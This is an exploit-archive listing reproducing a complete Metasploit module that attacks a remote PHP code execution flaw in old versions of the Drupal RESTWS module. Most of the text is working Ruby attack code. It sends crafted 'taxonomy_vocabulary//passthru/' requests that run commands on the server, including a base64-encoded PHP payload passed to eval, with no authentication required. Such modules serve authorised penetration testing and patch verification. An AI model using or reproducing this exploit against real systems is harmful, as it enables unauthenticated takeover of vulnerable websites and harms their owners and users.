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Drupal RESTWS Module Remote PHP Code Execution

Drupal RESTWS Module Remote PHP Code Execution
Posted Jul 21, 2016
Authored by Mehmet Ince, Devin Zuczek | Site metasploit.com

This Metasploit module exploits a Remote PHP Code Execution vulnerability in Drupal RESTWS Module. Unauthenticated users can execute arbitrary code under the context of the web server user. RESTWS alters the default page callbacks for entities to provide additional functionality. A vulnerability in this approach allows an unauthenticated attacker to send specially crafted requests resulting in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7 versions are affected by issue. This Metasploit module was tested against RESTWS 2.5 with Drupal 7.5 installation on Ubuntu server.

tags | exploit, remote, web, arbitrary, php, code execution
systems | linux, ubuntu
SHA-256 | c6c0be3f72ff30a42cf8f8c8dcd4baa257f0bf6daac321668562e0a213562cb5

Drupal RESTWS Module Remote PHP Code Execution

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => 'Drupal RESTWS Module Remote PHP Code Execution',
'Description' => %q{
This module exploits a Remote PHP Code Execution vulnerability in
Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
under the context of the web server user.

RESTWS alters the default page callbacks for entities to provide
additional functionality. A vulnerability in this approach allows
an unauthenticated attacker to send specially crafted requests resulting
in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
versions are affected by issue.

This module was tested against RESTWS 2.5 with Drupal 7.5 installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Devin Zuczek', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765567']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
]
)
end

def check
r = rand_text_alpha(8 + rand(4))
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'q' => "taxonomy_vocabulary//passthru/echo #{r}"
}
)
if res && res.body.include?(r)
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end

def exploit
cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => {
'q' => "taxonomy_vocabulary//passthru/#{cmd}"
}
)
end
end
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